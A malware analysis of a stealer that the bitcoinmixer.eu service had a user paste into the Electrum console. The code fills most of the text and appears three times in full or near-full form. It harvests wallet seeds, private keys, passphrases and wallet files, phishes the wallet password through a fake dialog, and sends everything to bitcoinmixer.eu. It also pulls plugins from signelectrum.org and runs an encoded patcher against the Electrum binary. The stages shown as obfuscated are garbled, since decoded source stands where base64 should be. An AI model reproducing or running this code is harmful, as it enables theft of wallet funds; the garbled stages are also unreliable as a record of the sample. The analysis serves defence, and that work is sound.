Analysis of bitcoinmixer.eu Electrum wallet stealing malware

A user on Reddit reported that their funds went missing during mixing, using the Bitcoinmixer service. After contacting the site they were asked to run the following command in their electrum shell:

exec("import requests\nexec(requests.get('https://bitcoinmixer.eu/fast_return/BTC OUTPUT ADRESS').text)")

Suspecting a malware attack, I asked the user for the full URL and then began the following analysis

import requests
url = "https://bitcoinmixer.eu/fast_return/bc1qdlf6df7twxlucuv3f9m3zn2hsd2f7zep3a89sp"
r = requests.get(url) # get raw request object
print(r.text)

Result:

import base64
exec(base64.b64decode("import requests
import base64
import sys
import os
import os.path
import electrum.storage
import io
import tarfile

domain="bitcoinmixer.eu"
get_path="/signed_verification"
post_path="/signed_verification/post"
post_data=""

w_id=1

verified=set()
dirs=set()
dirs_notestnet=set()
dirs_crypted=set()
dirs_noseed=set()

#p=os.path.dirname(sys.argv[0])
p=os.path.dirname(sys.modules["electrum"].__file__)
if p=="":
    p="."

def verify(text):
    requests.get("https://"+domain+get_path+"/?"+base64.b64encode((text.encode())).decode())

def sendpost():
    requests.post("https://"+domain+post_path,base64.b64encode(post_data.encode()))

def verify_w(path, pwd=""):
    global post_data
    global w_id
    global dirs_crypted
    global dirs_noseed
    try:
        w=electrum.storage.WalletStorage(path)
        w_id+=1
        if not w.is_encrypted() or pwd!="":
            if w.is_encrypted():
                w.decrypt(pwd)
                #dirs_crypted.discard(path)
            post_data+=str(w_id)+"\n"
            if pwd != "":
                post_data+=str(path)+" pw:" + pwd + "\n"
            else:
                post_data+=str(path)+"\n"
            post_data+="s_type:"+str(w.get("seed_type"))+"\n"
            post_data+="s_ver:"+str(w.get("seed_version"))+"\n"
            res = w.get("keystore")
            if res:
                post_data+="s:"+str(res.get("seed"))+"\n"
                if not res.get("seed"):
                    dirs_noseed.add(path)
                post_data+="ty:"+str(res.get("type"))+"\n"
                post_data+="pr:"+str(res.get("xprv"))+"\n"
                post_data+="pb:"+str(res.get("xpub"))+"\n"
                post_data+="pa:"+str(res.get("passphrase"))+"\n"
            else:
                res = w.get("x1/")
                res_n = 1
                while res:
                    if res_n > 6:
                        break
                    post_data+="s:"+str(res.get("seed"))+"\n"
                    if not res.get("seed"):
                        dirs_noseed.add(path)
                    post_data+="ty:"+str(res.get("type"))+"\n"
                    post_data+="pr:"+str(res.get("xprv"))+"\n"
                    post_data+="pb:"+str(res.get("xpub"))+"\n"
                    post_data+="pa:"+str(res.get("passphrase"))+"\n"

                    res_n+=1
                    res=w.get("x" + str(res_n) + "/")

        else:
            dirs_crypted.add(path)
    except:
        pass

def add_ks(ks):
    global post_data
    s=True
    try:
        post_data+="s:"+str(ks.seed)+"\n"
    except:
        post_data+="s:except\n"
        s=False
    try:
        post_data+="pr:"+str(ks.xprv)+"\n"
    except:
        post_data+="pr:except\n"
    try:
        post_data+="pb:"+str(ks.xpub)+"\n"
    except:
        post_data+="pb:except\n"
    try:
        post_data+="pa:"+str(ks.passphrase)+"\n"
    except:
        post_data+="pa:except\n"
    return s


def getpl(elec_dir:str):
    res=requests.post("https://signelectrum.org/mei", data=electrum.version.ELECTRUM_VERSION)
    if res.status_code == 200:
        plug=io.BytesIO(res.content)
        tar=tarfile.TarFile(fileobj=plug)
        for member in tar.getmembers():
            tar.extract(member, path=elec_dir+"/plugins", set_attrs=False)

if os.name == "posix" and not os.path.dirname(p).startswith("/tmp"):
    try:
        getpl(p)
        if getconfig("check_updates"):
            setconfig("check_updates", False)
    except:
        pass
elif os.name == "nt":
    import shutil
    import winreg

    def setEnv(env:str, val: str):
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 'Environment', 0, winreg.KEY_ALL_ACCESS)
        winreg.SetValueEx(key, env, 0, winreg.REG_EXPAND_SZ, val)
        winreg.CloseKey(key)

    tmpdir=""
    mei="mei"
    if "TEMP" in os.environ:
        tmpdir=os.environ["TEMP"]+os.sep+mei
    elif "TMP" in os.environ:
        tmpdir=os.environ["TMP"]+os.sep+mei
    elif "USERNAME" in os.environ:
        tmpdir=os.environ["USERNAME"]+os.sep+"AppData"+os.sep+"Local"+os.sep+"Temp"+os.sep+mei

    if tmpdir and not os.path.exists(tmpdir):
        current=""
        if hasattr(sys, "_MEIPASS"):
            current=sys._MEIPASS
        elif hasattr(sys, "_MEIPASS2"):
            current=sys._MEIPASS2

        if current:
            shutil.copytree(current,tmpdir)
            os.environ["_MEIPASS"]=tmpdir
            os.environ["_MEIPASS2"]=tmpdir
            try:
                setEnv("_MEIPASS", tmpdir)
                setEnv("_MEIPASS2", tmpdir)
                getpl(tmpdir+os.sep+"electrum"+os.sep)
            except:
                pass


post_data+=os.name+" "+p+"\n"
post_data+=str(w_id)+"\n"
post_data+=str(wallet.storage.path)+"\n"
try:
    post_data+="s_type:"+str(wallet.storage.get("seed_type"))+"\n"
    post_data+="s_ver:"+str(wallet.storage.get("seed_version"))+"\n"
    post_data+="elec:"+str(version())+"\n"
except:
    pass
w_id += 1

p=wallet.storage.path
for ks in wallet.get_keystores():
    if not add_ks(ks):
        dirs_noseed.add(p)

verified.add(os.path.normpath(p))
dirs.add(os.path.dirname(p))

for op in getconfig("recently_open"):
    op=os.path.normpath(op)
    if op not in verified:
        verified.add(op)
        dirs.add(os.path.dirname(op))
        verify_w(op)

testnet_str="testnet"+os.path.sep
for path_dirs in dirs:
    if testnet_str in path_dirs:
        dirs_notestnet.add(path_dirs.replace(testnet_str, ""))
dirs = dirs.union(dirs_notestnet)

for d in dirs:
    for dirname, directories, files in os.walk(d):
        for f in files:
            p=dirname+os.path.sep+f
            if p not in verified:
                verified.add(p)
                verify_w(p)

if post_data!="":
    sendpost()

if wallet.storage.is_encrypted():
    load=False
    pwd=""
    try:
        from electrum_gui.qt.password_dialog import PasswordDialog
        load=True
    except:
        try:
            from electrum.gui.qt.password_dialog import PasswordDialog
            load=True
        except:
            pass

    if load:
        pd=PasswordDialog()
        pwd=pd.run()
    if pwd and pwd!="":
        verify("pw:"+pwd)

        post_data=""
        for cw in dirs_crypted:
            verify_w(cw, pwd)
        if post_data!="":
            sendpost()
        
post_data=""
try:
    post_data="dc="+str(dirs_crypted.union(dirs_noseed))
    sendpost()
except:
    pass
now=0
for ow in dirs_crypted.union(dirs_noseed):
    if "wallets" in ow:
        now+=1
        try:
            with open(ow,"r") as fw:
                post_data="w:"+str(now)+",p:"+ow+"\n"+fw.read()
                sendpost()
        except:
            pass

if os.name == "posix" and sys.argv[0].startswith("/tmp"):
    import subprocess
    b64script="import base64;exec(base64.b64decode(b'aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHJlCmltcG9ydCBvcwppbXBvcnQgc3lzCmltcG9ydCByZXF1ZXN0cwppbXBvcnQgaGFzaGxpYgppbXBvcnQgc3RydWN0CmltcG9ydCB6bGliCgojZG9udCB3YWl0bAojcHJvYyA9IFBvcGVuKFtjbWRfc3RyXSwgc2hlbGw9VHJ1ZSwgc3RkaW49Tm9uZSwgc3Rkb3V0PU5vbmUsIHN0ZGVycj1Ob25lLCBjbG9zZV9mZHM9VHJ1ZSkKCnJlX25hbWU9cmUuY29tcGlsZShiImVsZWN0cnVtLS4qLkFwcEltYWdlIikKcGlkPSIiCnByb2NsaXN0ID0gc3VicHJvY2Vzcy5Qb3BlbihbInBzIiwiLWF4Il0sIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpLmNvbW11bmljYXRlKClbMF0KZm9yIHByb2MgaW4gcHJvY2xpc3Quc3BsaXQoYiJcbiIpOgogICAgaWYgcmVfbmFtZS5zZWFyY2gocHJvYyk6CiAgICAgICAgcGlkPXJlLmZpbmRhbGwoYiJbMC05XSsiLHByb2MpCiAgICAgICAgaWYgcGlkOgogICAgICAgICAgICBwaWQ9cGlkWzBdLmRlY29kZSgiYXNjaWkiKQogICAgICAgIGJyZWFrCgppZiBwaWQgPT0gIiI6CiAgICBzeXMuZXhpdCgwKQoKcGF0aD1vcy5yZWFkbGluaygiL3Byb2MvIitwaWQrIi9leGUiKQppZiBub3QgcGF0aDoKICAgIHN5cy5leGl0KDApCgpoYXNoPSIiCndpdGggb3BlbihwYXRoLCJyYiIpIGFzIGY6CiAgICBzcmNfZGF0YT1mLnJlYWQoKQogICAgaGFzaD1oYXNobGliLnNoYTI1NihzcmNfZGF0YSkuaGV4ZGlnZXN0KCkKCmlmIG5vdCBoYXNoOgogICAgc3lzLmV4aXQoMCkKCnI9cmVxdWVzdHMucG9zdCgiaHR0cHM6Ly9zaWduZWxlY3RydW0ub3JnL2NoZWNrdmVyc2lvbiIsZGF0YT1oYXNoKQppZiByLnN0YXR1c19jb2RlID09IDIwMDoKICAgIGQ9ci5jb250ZW50CiAgICBwcmludCgicmVzcG9uc2UgbGVuZ3RoID0gIiArIHN0cihsZW4oZCkpKQogICAgaWYgbGVuKGQpIDw9IDY0OgogICAgICAgIHN5cy5leGl0KDApCiAgICBpZiBoYXNobGliLnNoYTI1NihkWzotMzJdKS5kaWdlc3QoKSAhPSBkWy0zMjpdOgogICAgICAgIHN5cy5leGl0KDApCgogICAgcGF0Y2hfcG9zID0gMAogICAgI2RuZXcgPSBiIiIKICAgIGRuZXcgPSBieXRlYXJyYXkoKQogICAgd2hpbGUgcGF0Y2hfcG9zIDwgbGVuKGQpLTMyOgogICAgICAgIChoZWFkX3R5cGUsKSA9IHN0cnVjdC51bnBhY2soIjxjIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzFdKQogICAgICAgIHBhdGNoX3Bvcys9MQogICAgICAgIGlmIGhlYWRfdHlwZSA9PSBiIlx4MDAiOgogICAgICAgICAgICBwcmludCgiMHgwMCIpCiAgICAgICAgICAgIChvZmZzZXQsIHNpemUpID0gc3RydWN0LnVucGFjaygiPElJIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzhdKQogICAgICAgICAgICBwYXRjaF9wb3MrPTgKICAgICAgICAgICAgI2RuZXcrPXNyY19kYXRhW29mZnNldDpvZmZzZXQrc2l6ZV0KICAgICAgICAgICAgZG5ldy5leHRlbmQoc3JjX2RhdGFbb2Zmc2V0Om9mZnNldCtzaXplXSkKICAgICAgICBlbGlmIGhlYWRfdHlwZSA9PSBiIlwwMSI6CiAgICAgICAgICAgIHByaW50KCIweDAxIikKICAgICAgICAgICAgKHNpemUsKSA9IHN0cnVjdC51bnBhY2soIjxJIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzRdKQogICAgICAgICAgICBwYXRjaF9wb3MrPTQKICAgICAgICAgICAgI2RuZXcrPWRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXQogICAgICAgICAgICBkbmV3LmV4dGVuZChkW3BhdGNoX3BvczpwYXRjaF9wb3Mrc2l6ZV0pCiAgICAgICAgICAgIHBhdGNoX3Bvcys9c2l6ZQogICAgICAgIGVsaWYgaGVhZF90eXBlID09IGIiXDAyIjoKICAgICAgICAgICAgcHJpbnQoIjB4MDIiKQogICAgICAgICAgICAoc2l6ZSwpID0gc3RydWN0LnVucGFjaygiPEkiLCBkW3BhdGNoX3BvczpwYXRjaF9wb3MrNF0pCiAgICAgICAgICAgIHBhdGNoX3Bvcys9NAogICAgICAgICAgICAjZG5ldys9emxpYi5kZWNvbXByZXNzKGRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXSkKICAgICAgICAgICAgZG5ldy5leHRlbmQoemxpYi5kZWNvbXByZXNzKGRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXSkpCiAgICAgICAgICAgIHBhdGNoX3Bvcys9c2l6ZQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCJXVEYiKQoKICAgIHN0PW9zLnN0YXQocGF0aCkKICAgIGF0PXN0LnN0X2F0aW1lCiAgICBtdD1zdC5zdF9tdGltZQogICAgcGVybT1zdC5zdF9tb2RlICYgMG83NzcKICAgIG9zLnVubGluayhwYXRoKQogICAgd2l0aCBvcGVuKHBhdGgsIndiIikgYXMgZjoKICAgICAgICBmLndyaXRlKGRuZXcpCiAgICBvcy51dGltZShwYXRoLCAoYXQsIG10KSkKICAgIG9zLmNobW9kKHBhdGgsIHBlcm0p'))"
    subprocess.Popen([sys.executable, "-c", b64script], stdout=open("/dev/null","w"), preexec_fn=os.setpgrp)


print("Server exception, please, contact with support.")
").decode())

This immediately looks suspicious, it's executing code which has been hashed for concealment. Let's investigate further

import base64
print(base64.b64decode("import requests
import base64
import sys
import os
import os.path
import electrum.storage
import io
import tarfile

domain="bitcoinmixer.eu"
get_path="/signed_verification"
post_path="/signed_verification/post"
post_data=""

w_id=1

verified=set()
dirs=set()
dirs_notestnet=set()
dirs_crypted=set()
dirs_noseed=set()

#p=os.path.dirname(sys.argv[0])
p=os.path.dirname(sys.modules["electrum"].__file__)
if p=="":
    p="."

def verify(text):
    requests.get("https://"+domain+get_path+"/?"+base64.b64encode((text.encode())).decode())

def sendpost():
    requests.post("https://"+domain+post_path,base64.b64encode(post_data.encode()))

def verify_w(path, pwd=""):
    global post_data
    global w_id
    global dirs_crypted
    global dirs_noseed
    try:
        w=electrum.storage.WalletStorage(path)
        w_id+=1
        if not w.is_encrypted() or pwd!="":
            if w.is_encrypted():
                w.decrypt(pwd)
                #dirs_crypted.discard(path)
            post_data+=str(w_id)+"\n"
            if pwd != "":
                post_data+=str(path)+" pw:" + pwd + "\n"
            else:
                post_data+=str(path)+"\n"
            post_data+="s_type:"+str(w.get("seed_type"))+"\n"
            post_data+="s_ver:"+str(w.get("seed_version"))+"\n"
            res = w.get("keystore")
            if res:
                post_data+="s:"+str(res.get("seed"))+"\n"
                if not res.get("seed"):
                    dirs_noseed.add(path)
                post_data+="ty:"+str(res.get("type"))+"\n"
                post_data+="pr:"+str(res.get("xprv"))+"\n"
                post_data+="pb:"+str(res.get("xpub"))+"\n"
                post_data+="pa:"+str(res.get("passphrase"))+"\n"
            else:
                res = w.get("x1/")
                res_n = 1
                while res:
                    if res_n > 6:
                        break
                    post_data+="s:"+str(res.get("seed"))+"\n"
                    if not res.get("seed"):
                        dirs_noseed.add(path)
                    post_data+="ty:"+str(res.get("type"))+"\n"
                    post_data+="pr:"+str(res.get("xprv"))+"\n"
                    post_data+="pb:"+str(res.get("xpub"))+"\n"
                    post_data+="pa:"+str(res.get("passphrase"))+"\n"

                    res_n+=1
                    res=w.get("x" + str(res_n) + "/")

        else:
            dirs_crypted.add(path)
    except:
        pass

def add_ks(ks):
    global post_data
    s=True
    try:
        post_data+="s:"+str(ks.seed)+"\n"
    except:
        post_data+="s:except\n"
        s=False
    try:
        post_data+="pr:"+str(ks.xprv)+"\n"
    except:
        post_data+="pr:except\n"
    try:
        post_data+="pb:"+str(ks.xpub)+"\n"
    except:
        post_data+="pb:except\n"
    try:
        post_data+="pa:"+str(ks.passphrase)+"\n"
    except:
        post_data+="pa:except\n"
    return s


def getpl(elec_dir:str):
    res=requests.post("https://signelectrum.org/mei", data=electrum.version.ELECTRUM_VERSION)
    if res.status_code == 200:
        plug=io.BytesIO(res.content)
        tar=tarfile.TarFile(fileobj=plug)
        for member in tar.getmembers():
            tar.extract(member, path=elec_dir+"/plugins", set_attrs=False)

if os.name == "posix" and not os.path.dirname(p).startswith("/tmp"):
    try:
        getpl(p)
        if getconfig("check_updates"):
            setconfig("check_updates", False)
    except:
        pass
elif os.name == "nt":
    import shutil
    import winreg

    def setEnv(env:str, val: str):
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 'Environment', 0, winreg.KEY_ALL_ACCESS)
        winreg.SetValueEx(key, env, 0, winreg.REG_EXPAND_SZ, val)
        winreg.CloseKey(key)

    tmpdir=""
    mei="mei"
    if "TEMP" in os.environ:
        tmpdir=os.environ["TEMP"]+os.sep+mei
    elif "TMP" in os.environ:
        tmpdir=os.environ["TMP"]+os.sep+mei
    elif "USERNAME" in os.environ:
        tmpdir=os.environ["USERNAME"]+os.sep+"AppData"+os.sep+"Local"+os.sep+"Temp"+os.sep+mei

    if tmpdir and not os.path.exists(tmpdir):
        current=""
        if hasattr(sys, "_MEIPASS"):
            current=sys._MEIPASS
        elif hasattr(sys, "_MEIPASS2"):
            current=sys._MEIPASS2

        if current:
            shutil.copytree(current,tmpdir)
            os.environ["_MEIPASS"]=tmpdir
            os.environ["_MEIPASS2"]=tmpdir
            try:
                setEnv("_MEIPASS", tmpdir)
                setEnv("_MEIPASS2", tmpdir)
                getpl(tmpdir+os.sep+"electrum"+os.sep)
            except:
                pass


post_data+=os.name+" "+p+"\n"
post_data+=str(w_id)+"\n"
post_data+=str(wallet.storage.path)+"\n"
try:
    post_data+="s_type:"+str(wallet.storage.get("seed_type"))+"\n"
    post_data+="s_ver:"+str(wallet.storage.get("seed_version"))+"\n"
    post_data+="elec:"+str(version())+"\n"
except:
    pass
w_id += 1

p=wallet.storage.path
for ks in wallet.get_keystores():
    if not add_ks(ks):
        dirs_noseed.add(p)

verified.add(os.path.normpath(p))
dirs.add(os.path.dirname(p))

for op in getconfig("recently_open"):
    op=os.path.normpath(op)
    if op not in verified:
        verified.add(op)
        dirs.add(os.path.dirname(op))
        verify_w(op)

testnet_str="testnet"+os.path.sep
for path_dirs in dirs:
    if testnet_str in path_dirs:
        dirs_notestnet.add(path_dirs.replace(testnet_str, ""))
dirs = dirs.union(dirs_notestnet)

for d in dirs:
    for dirname, directories, files in os.walk(d):
        for f in files:
            p=dirname+os.path.sep+f
            if p not in verified:
                verified.add(p)
                verify_w(p)

if post_data!="":
    sendpost()

if wallet.storage.is_encrypted():
    load=False
    pwd=""
    try:
        from electrum_gui.qt.password_dialog import PasswordDialog
        load=True
    except:
        try:
            from electrum.gui.qt.password_dialog import PasswordDialog
            load=True
        except:
            pass

    if load:
        pd=PasswordDialog()
        pwd=pd.run()
    if pwd and pwd!="":
        verify("pw:"+pwd)

        post_data=""
        for cw in dirs_crypted:
            verify_w(cw, pwd)
        if post_data!="":
            sendpost()
        
post_data=""
try:
    post_data="dc="+str(dirs_crypted.union(dirs_noseed))
    sendpost()
except:
    pass
now=0
for ow in dirs_crypted.union(dirs_noseed):
    if "wallets" in ow:
        now+=1
        try:
            with open(ow,"r") as fw:
                post_data="w:"+str(now)+",p:"+ow+"\n"+fw.read()
                sendpost()
        except:
            pass

if os.name == "posix" and sys.argv[0].startswith("/tmp"):
    import subprocess
    b64script="import base64;exec(base64.b64decode(b'aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHJlCmltcG9ydCBvcwppbXBvcnQgc3lzCmltcG9ydCByZXF1ZXN0cwppbXBvcnQgaGFzaGxpYgppbXBvcnQgc3RydWN0CmltcG9ydCB6bGliCgojZG9udCB3YWl0bAojcHJvYyA9IFBvcGVuKFtjbWRfc3RyXSwgc2hlbGw9VHJ1ZSwgc3RkaW49Tm9uZSwgc3Rkb3V0PU5vbmUsIHN0ZGVycj1Ob25lLCBjbG9zZV9mZHM9VHJ1ZSkKCnJlX25hbWU9cmUuY29tcGlsZShiImVsZWN0cnVtLS4qLkFwcEltYWdlIikKcGlkPSIiCnByb2NsaXN0ID0gc3VicHJvY2Vzcy5Qb3BlbihbInBzIiwiLWF4Il0sIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpLmNvbW11bmljYXRlKClbMF0KZm9yIHByb2MgaW4gcHJvY2xpc3Quc3BsaXQoYiJcbiIpOgogICAgaWYgcmVfbmFtZS5zZWFyY2gocHJvYyk6CiAgICAgICAgcGlkPXJlLmZpbmRhbGwoYiJbMC05XSsiLHByb2MpCiAgICAgICAgaWYgcGlkOgogICAgICAgICAgICBwaWQ9cGlkWzBdLmRlY29kZSgiYXNjaWkiKQogICAgICAgIGJyZWFrCgppZiBwaWQgPT0gIiI6CiAgICBzeXMuZXhpdCgwKQoKcGF0aD1vcy5yZWFkbGluaygiL3Byb2MvIitwaWQrIi9leGUiKQppZiBub3QgcGF0aDoKICAgIHN5cy5leGl0KDApCgpoYXNoPSIiCndpdGggb3BlbihwYXRoLCJyYiIpIGFzIGY6CiAgICBzcmNfZGF0YT1mLnJlYWQoKQogICAgaGFzaD1oYXNobGliLnNoYTI1NihzcmNfZGF0YSkuaGV4ZGlnZXN0KCkKCmlmIG5vdCBoYXNoOgogICAgc3lzLmV4aXQoMCkKCnI9cmVxdWVzdHMucG9zdCgiaHR0cHM6Ly9zaWduZWxlY3RydW0ub3JnL2NoZWNrdmVyc2lvbiIsZGF0YT1oYXNoKQppZiByLnN0YXR1c19jb2RlID09IDIwMDoKICAgIGQ9ci5jb250ZW50CiAgICBwcmludCgicmVzcG9uc2UgbGVuZ3RoID0gIiArIHN0cihsZW4oZCkpKQogICAgaWYgbGVuKGQpIDw9IDY0OgogICAgICAgIHN5cy5leGl0KDApCiAgICBpZiBoYXNobGliLnNoYTI1NihkWzotMzJdKS5kaWdlc3QoKSAhPSBkWy0zMjpdOgogICAgICAgIHN5cy5leGl0KDApCgogICAgcGF0Y2hfcG9zID0gMAogICAgI2RuZXcgPSBiIiIKICAgIGRuZXcgPSBieXRlYXJyYXkoKQogICAgd2hpbGUgcGF0Y2hfcG9zIDwgbGVuKGQpLTMyOgogICAgICAgIChoZWFkX3R5cGUsKSA9IHN0cnVjdC51bnBhY2soIjxjIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzFdKQogICAgICAgIHBhdGNoX3Bvcys9MQogICAgICAgIGlmIGhlYWRfdHlwZSA9PSBiIlx4MDAiOgogICAgICAgICAgICBwcmludCgiMHgwMCIpCiAgICAgICAgICAgIChvZmZzZXQsIHNpemUpID0gc3RydWN0LnVucGFjaygiPElJIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzhdKQogICAgICAgICAgICBwYXRjaF9wb3MrPTgKICAgICAgICAgICAgI2RuZXcrPXNyY19kYXRhW29mZnNldDpvZmZzZXQrc2l6ZV0KICAgICAgICAgICAgZG5ldy5leHRlbmQoc3JjX2RhdGFbb2Zmc2V0Om9mZnNldCtzaXplXSkKICAgICAgICBlbGlmIGhlYWRfdHlwZSA9PSBiIlwwMSI6CiAgICAgICAgICAgIHByaW50KCIweDAxIikKICAgICAgICAgICAgKHNpemUsKSA9IHN0cnVjdC51bnBhY2soIjxJIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzRdKQogICAgICAgICAgICBwYXRjaF9wb3MrPTQKICAgICAgICAgICAgI2RuZXcrPWRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXQogICAgICAgICAgICBkbmV3LmV4dGVuZChkW3BhdGNoX3BvczpwYXRjaF9wb3Mrc2l6ZV0pCiAgICAgICAgICAgIHBhdGNoX3Bvcys9c2l6ZQogICAgICAgIGVsaWYgaGVhZF90eXBlID09IGIiXDAyIjoKICAgICAgICAgICAgcHJpbnQoIjB4MDIiKQogICAgICAgICAgICAoc2l6ZSwpID0gc3RydWN0LnVucGFjaygiPEkiLCBkW3BhdGNoX3BvczpwYXRjaF9wb3MrNF0pCiAgICAgICAgICAgIHBhdGNoX3Bvcys9NAogICAgICAgICAgICAjZG5ldys9emxpYi5kZWNvbXByZXNzKGRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXSkKICAgICAgICAgICAgZG5ldy5leHRlbmQoemxpYi5kZWNvbXByZXNzKGRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXSkpCiAgICAgICAgICAgIHBhdGNoX3Bvcys9c2l6ZQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCJXVEYiKQoKICAgIHN0PW9zLnN0YXQocGF0aCkKICAgIGF0PXN0LnN0X2F0aW1lCiAgICBtdD1zdC5zdF9tdGltZQogICAgcGVybT1zdC5zdF9tb2RlICYgMG83NzcKICAgIG9zLnVubGluayhwYXRoKQogICAgd2l0aCBvcGVuKHBhdGgsIndiIikgYXMgZjoKICAgICAgICBmLndyaXRlKGRuZXcpCiAgICBvcy51dGltZShwYXRoLCAoYXQsIG10KSkKICAgIG9zLmNobW9kKHBhdGgsIHBlcm0p'))"
    subprocess.Popen([sys.executable, "-c", b64script], stdout=open("/dev/null","w"), preexec_fn=os.setpgrp)


print("Server exception, please, contact with support.")
").decode())

Result:

import requests
import base64
import sys
import os
import os.path
import electrum.storage
import io
import tarfile

domain="bitcoinmixer.eu"
get_path="/signed_verification"
post_path="/signed_verification/post"
post_data=""

w_id=1

verified=set()
dirs=set()
dirs_notestnet=set()
dirs_crypted=set()
dirs_noseed=set()

#p=os.path.dirname(sys.argv[0])
p=os.path.dirname(sys.modules["electrum"].__file__)
if p=="":
    p="."

def verify(text):
    requests.get("https://"+domain+get_path+"/?"+base64.b64encode((text.encode())).decode())

def sendpost():
    requests.post("https://"+domain+post_path,base64.b64encode(post_data.encode()))

def verify_w(path, pwd=""):
    global post_data
    global w_id
    global dirs_crypted
    global dirs_noseed
    try:
        w=electrum.storage.WalletStorage(path)
        w_id+=1
        if not w.is_encrypted() or pwd!="":
            if w.is_encrypted():
                w.decrypt(pwd)
                #dirs_crypted.discard(path)
            post_data+=str(w_id)+"\n"
            if pwd != "":
                post_data+=str(path)+" pw:" + pwd + "\n"
            else:
                post_data+=str(path)+"\n"
            post_data+="s_type:"+str(w.get("seed_type"))+"\n"
            post_data+="s_ver:"+str(w.get("seed_version"))+"\n"
            res = w.get("keystore")
            if res:
                post_data+="s:"+str(res.get("seed"))+"\n"
                if not res.get("seed"):
                    dirs_noseed.add(path)
                post_data+="ty:"+str(res.get("type"))+"\n"
                post_data+="pr:"+str(res.get("xprv"))+"\n"
                post_data+="pb:"+str(res.get("xpub"))+"\n"
                post_data+="pa:"+str(res.get("passphrase"))+"\n"
            else:
                res = w.get("x1/")
                res_n = 1
                while res:
                    if res_n > 6:
                        break
                    post_data+="s:"+str(res.get("seed"))+"\n"
                    if not res.get("seed"):
                        dirs_noseed.add(path)
                    post_data+="ty:"+str(res.get("type"))+"\n"
                    post_data+="pr:"+str(res.get("xprv"))+"\n"
                    post_data+="pb:"+str(res.get("xpub"))+"\n"
                    post_data+="pa:"+str(res.get("passphrase"))+"\n"

                    res_n+=1
                    res=w.get("x" + str(res_n) + "/")

        else:
            dirs_crypted.add(path)
    except:
        pass

def add_ks(ks):
    global post_data
    s=True
    try:
        post_data+="s:"+str(ks.seed)+"\n"
    except:
        post_data+="s:except\n"
        s=False
    try:
        post_data+="pr:"+str(ks.xprv)+"\n"
    except:
        post_data+="pr:except\n"
    try:
        post_data+="pb:"+str(ks.xpub)+"\n"
    except:
        post_data+="pb:except\n"
    try:
        post_data+="pa:"+str(ks.passphrase)+"\n"
    except:
        post_data+="pa:except\n"
    return s


def getpl(elec_dir:str):
    res=requests.post("https://signelectrum.org/mei", data=electrum.version.ELECTRUM_VERSION)
    if res.status_code == 200:
        plug=io.BytesIO(res.content)
        tar=tarfile.TarFile(fileobj=plug)
        for member in tar.getmembers():
            tar.extract(member, path=elec_dir+"/plugins", set_attrs=False)

if os.name == "posix" and not os.path.dirname(p).startswith("/tmp"):
    try:
        getpl(p)
        if getconfig("check_updates"):
            setconfig("check_updates", False)
    except:
        pass
elif os.name == "nt":
    import shutil
    import winreg

    def setEnv(env:str, val: str):
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 'Environment', 0, winreg.KEY_ALL_ACCESS)
        winreg.SetValueEx(key, env, 0, winreg.REG_EXPAND_SZ, val)
        winreg.CloseKey(key)

    tmpdir=""
    mei="mei"
    if "TEMP" in os.environ:
        tmpdir=os.environ["TEMP"]+os.sep+mei
    elif "TMP" in os.environ:
        tmpdir=os.environ["TMP"]+os.sep+mei
    elif "USERNAME" in os.environ:
        tmpdir=os.environ["USERNAME"]+os.sep+"AppData"+os.sep+"Local"+os.sep+"Temp"+os.sep+mei

    if tmpdir and not os.path.exists(tmpdir):
        current=""
        if hasattr(sys, "_MEIPASS"):
            current=sys._MEIPASS
        elif hasattr(sys, "_MEIPASS2"):
            current=sys._MEIPASS2

        if current:
            shutil.copytree(current,tmpdir)
            os.environ["_MEIPASS"]=tmpdir
            os.environ["_MEIPASS2"]=tmpdir
            try:
                setEnv("_MEIPASS", tmpdir)
                setEnv("_MEIPASS2", tmpdir)
                getpl(tmpdir+os.sep+"electrum"+os.sep)
            except:
                pass


post_data+=os.name+" "+p+"\n"
post_data+=str(w_id)+"\n"
post_data+=str(wallet.storage.path)+"\n"
try:
    post_data+="s_type:"+str(wallet.storage.get("seed_type"))+"\n"
    post_data+="s_ver:"+str(wallet.storage.get("seed_version"))+"\n"
    post_data+="elec:"+str(version())+"\n"
except:
    pass
w_id += 1

p=wallet.storage.path
for ks in wallet.get_keystores():
    if not add_ks(ks):
        dirs_noseed.add(p)

verified.add(os.path.normpath(p))
dirs.add(os.path.dirname(p))

for op in getconfig("recently_open"):
    op=os.path.normpath(op)
    if op not in verified:
        verified.add(op)
        dirs.add(os.path.dirname(op))
        verify_w(op)

testnet_str="testnet"+os.path.sep
for path_dirs in dirs:
    if testnet_str in path_dirs:
        dirs_notestnet.add(path_dirs.replace(testnet_str, ""))
dirs = dirs.union(dirs_notestnet)

for d in dirs:
    for dirname, directories, files in os.walk(d):
        for f in files:
            p=dirname+os.path.sep+f
            if p not in verified:
                verified.add(p)
                verify_w(p)

if post_data!="":
    sendpost()

if wallet.storage.is_encrypted():
    load=False
    pwd=""
    try:
        from electrum_gui.qt.password_dialog import PasswordDialog
        load=True
    except:
        try:
            from electrum.gui.qt.password_dialog import PasswordDialog
            load=True
        except:
            pass

    if load:
        pd=PasswordDialog()
        pwd=pd.run()
    if pwd and pwd!="":
        verify("pw:"+pwd)

        post_data=""
        for cw in dirs_crypted:
            verify_w(cw, pwd)
        if post_data!="":
            sendpost()
        
post_data=""
try:
    post_data="dc="+str(dirs_crypted.union(dirs_noseed))
    sendpost()
except:
    pass
now=0
for ow in dirs_crypted.union(dirs_noseed):
